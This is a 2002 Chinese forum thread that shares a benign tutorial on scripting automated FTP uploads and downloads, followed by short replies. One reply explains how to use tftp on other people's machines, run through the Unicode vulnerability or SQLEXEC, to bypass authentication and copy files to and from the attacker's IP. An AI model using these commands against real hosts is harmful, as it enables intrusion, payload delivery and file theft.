>> 欢迎您, 傲气雄鹰: 重登陆 | 退出 | 注册 | 资料 | 设置 | 排行 | 新贴 | 精华 | 管理 | 帮助 首页

  小榕软件实验室
  刀光雪影
  如何用FTP自动传送文件 [转帖]
发表文章 发表涂鸦
  回复数:8  点击数:486 将此页发给您的朋友        
作者 主题: 如何用FTP自动传送文件 [转帖] 回复 | 收藏 | 打印 | 篇末
永远的FLASH帅哥哦
级别:刀光雪影版主
威望:3
经验:1
货币:5852
体力:100
来源:江苏
总发帖数:2264
注册日期:2002-02-11
查看 邮件 主页 QQ 消息 引用 复制 下载 

如何用FTP自动传送文件
(程序、脚本)





一、Windows下用ftp自动传送文件的方法



1、先建立一个文本文件,文件名可以是任意名,例如ftp.txt,其内容如下:



open 192.168.1.100 /*远服务器地址或名*/



MYNAME /*用户名MYNAME*/



MYPASSWORD /*用户密码MYPASSWORD*/



binary /*以二进制传送文件,可选项*/



cd REMOTE_PATHNAME /*进入远程目标路径REMOTE_PATHNAME*/



get REMOTE_FILE LOCAL_FILE /*把远程文件REMOTE_FILE下载成本地文件LOCAL_FILE*/



put LOCAL_FILE REMOTE_FILE /*将本地文件LOCAL_FILE上传成远程文件REMOTE_FILE */



bye /*退出ftp应用*/



2、 执行以下命令:



ftp –s:ftp.txt



就完成了自动传送。











二、UNIX下用ftp自动传送文件名是静态的方法



1、 建立一个文本文件,例如文件名是ftp.txt,其内容如下:



open 192.168.1.100 /*用open连接远程服务器192.168.1.100*/



user MYNAME MYPASSWORD /*MYNAME是用户名,MYPASSWORD是密码*/



binary /*以二进制传送*/



hash /*当有数据传送时,显示#号*/



cd REMOTE_PATHNAME /*进入远程目标路径REMOTE_PATHNAME*/



get REMOTE_FILE LOCAL_FILE /*把远程文件REMOTE_FILE下载成本地文件LOCAL_FILE*/



put LOCAL_FILE REMOTE_FILE /*将本地文件LOCAL_FILE上传成远程文件REMOTE_FILE */



bye /*退出ftp应用*/



2、执行命令:



cat ftp.txt | ftp -n



 



三、UNIX下用ftp自动传送文件名是动态的方法



现以一个文件名是以月份和日期为变量的文件来说明



1、建立脚本文件autoftp.sh



#!/bin/sh



MM=****date "+%m"**** /*取月份*/



DD=****date "+%d"**** /*取日期*/



pre_filename="DBZZ" /*设定文件名前缀前部分*/



filename="${pre_filename}${MM}${DD}.tgz"



echo " open 192.168.1.100



user MYNAME MYPASSWORD



binary



hash



cd REMOTE_PATHNAME



get ${filename} ${filename}



bye



" | ftp -n



2、将脚本赋有运行权后,执行脚本



chmod +x autoftp.sh



sh autoftp.sh (或./autoftp.sh)



 



UNIX的两个方法在Linux和FreeBSD下通过,其他UNIX下的可能有些稍为不同。







----------------------------------------------------------
H4技术组:http://www.h4h4.com

编辑 删除 发表时间发表于 2002-06-21.13:03:48   MSIE 6.0 Windows 2000IP: 已记录
麻雀帅哥哦
级别:中级站友
威望:0
经验:0
货币:256
体力:36.7
来源:江苏
总发帖数:31
注册日期:2002-04-11
查看 邮件 主页 QQ 消息 引用 复制 下载 

不错!我又学会一样了
----------------------------------------------------------
侠客联盟

编辑 删除 发表时间发表于 2002-06-21.13:06:17   MSIE 5.0 Windows 98IP: 已记录
猴子帅哥哦
级别:长 老 级
威望:0
经验:0
货币:1842
体力:91.5
来源:花果山
总发帖数:554
注册日期:2002-02-16
查看 邮件 主页 QQ 消息 引用 复制 下载 

三克油!
----------------------------------------------------------
屎我是一嘟屎,命比蚂蚁还便宜;
你开奔驰,我挖鼻屎;
自知死期永不移~~


编辑 删除 发表时间发表于 2002-06-21.15:27:22   MSIE 6.0 Windows 2000IP: 已记录
xiaojun帅哥哦
级别:高级站友
威望:0
经验:0
货币:275
体力:11
来源:江苏
总发帖数:158
注册日期:2001-06-01
查看 邮件 主页 QQ 消息 引用 复制 下载 

好鸡,我喜欢

编辑 删除 发表时间发表于 2002-06-26.20:37:41   MSIE 6.0 Windows 2000IP: 已记录
snowstorm帅哥哦
级别:中级站友
威望:0
经验:0
货币:80
体力:3
来源:218.6.51.*
总发帖数:69
注册日期:2002-03-30
查看 邮件 主页 QQ 消息 引用 复制 下载 

意义是什么?
还是没弄明白......
不知道有什么作用.

编辑 删除 发表时间发表于 2002-06-27.14:26:00   MSIE 5.5 Windows 2000IP: 已记录
anjokiwen帅哥哦
级别:中级站友
威望:0
经验:0
货币:68
体力:2.6
来源:210.77.112.*
总发帖数:68
注册日期:2002-02-25
查看 邮件 主页 QQ 消息 引用 复制 下载 

不错。可惜我用不上。。我还是喜欢用TFTP/

编辑 删除 发表时间发表于 2002-06-27.14:38:49   MSIE 5.5 Windows 2000IP: 已记录
matchsticker帅哥哦
级别:中级站友
威望:0
经验:0
货币:562
体力:50.4
来源:202.94.3.*
总发帖数:84
注册日期:2002-06-27
查看 邮件 主页 QQ 消息 引用 复制 下载 

楼上的,tftp 是什么?

编辑 删除 发表时间发表于 2002-06-27.16:08:54   MSIE 6.0 Windows 2000IP: 已记录
扑街帅哥哦
级别:管理员
威望:4
经验:130
货币:6128
体力:100
来源:青山精神病院
总发帖数:2271
注册日期:2001-07-23
查看 邮件 主页 QQ 消息 引用 复制 下载 

tftp,一个功能强大的ftp代替软件,它强大的ftp功能可以绕过主机的用户名和口令验证,绕过IPC$通道,直接COPY我们需要的文件,使用极其方便。
一、上传:
格式:tftp -i 现在你的IP get 源文件夹 盘符:\\路径\\目标文件名
二、下载:
格式:tftp -i 对方的IP put 盘符:\路径\源文件名

用法和注意点:
1、tftp必须在本机上先运行起来,充当虚拟服务器的角色。
2、tftp在运行中不得断开连接。
3、要上传的文件必须和tftp在一个目录中。
4、文件的默认下载位置就是tftp目录。
5、tftp在上传的格式中,目标地址要用双\\格开。
6、可以在任何对方的命令行使用tftp,如:跟在对方IP后的浏览器地址栏里(详细说明请参考U漏洞的贴子)、SQLEXEC的command输入行等等位置。
7、tftp默认属****是上传和下载的时候采用覆盖不提示的方式。
8、tftp上传的文件可能会加上只读属****,请上传完全毕后检阅!

资料来源啊笨猫,很少见他来了,
----------------------------------------------------------
今生无缘,泪如雨下,我试着忘记红尘中你留下的故事,可数日以来我始终无法走出你曾给我的感情世界,我深知让往事随风不是说说那么容易的. 天空下我们彼此站成了两个无法相溶的世界我却又总想忍住悲伤,而思念像穿透了灵魂一般不可抑制

编辑 删除 发表时间发表于 2002-06-27.18:03:34   MSIE 6.0b Windows 98IP: 已记录
兜兜草帅哥哦
级别:风云使者
威望:0
经验:20
货币:3502
体力:100
来源:天堂的云彩里
总发帖数:1336
注册日期:2001-11-08
查看 邮件 主页 QQ 消息 引用 复制 下载 

不知道还是不是在大爱无限那里混
----------------------------------------------------------
请别抓我进监狱谢谢合作!

使用Windows Media Player播放

编辑 删除 发表时间发表于 2002-06-27.18:32:52   MSIE 5.0 Windows 98IP: 已记录
选择回复        
 快速回复主题: >>>高级模式
  用户名: 没有注册? 密码: 忘记密码?
记住密码
HTML语法
禁止IDB代码
禁止表情字符

[按 Ctrl+Enter 快捷键可直接提交帖子]
 投票评分: 共 0 票  
所有时间均为: 北京时间 ↑TOP 
关闭主题 拉前主题 移动主题 主题置顶 取消置顶 总固顶主题 取消总固顶 加入精华 移出精华 删除主题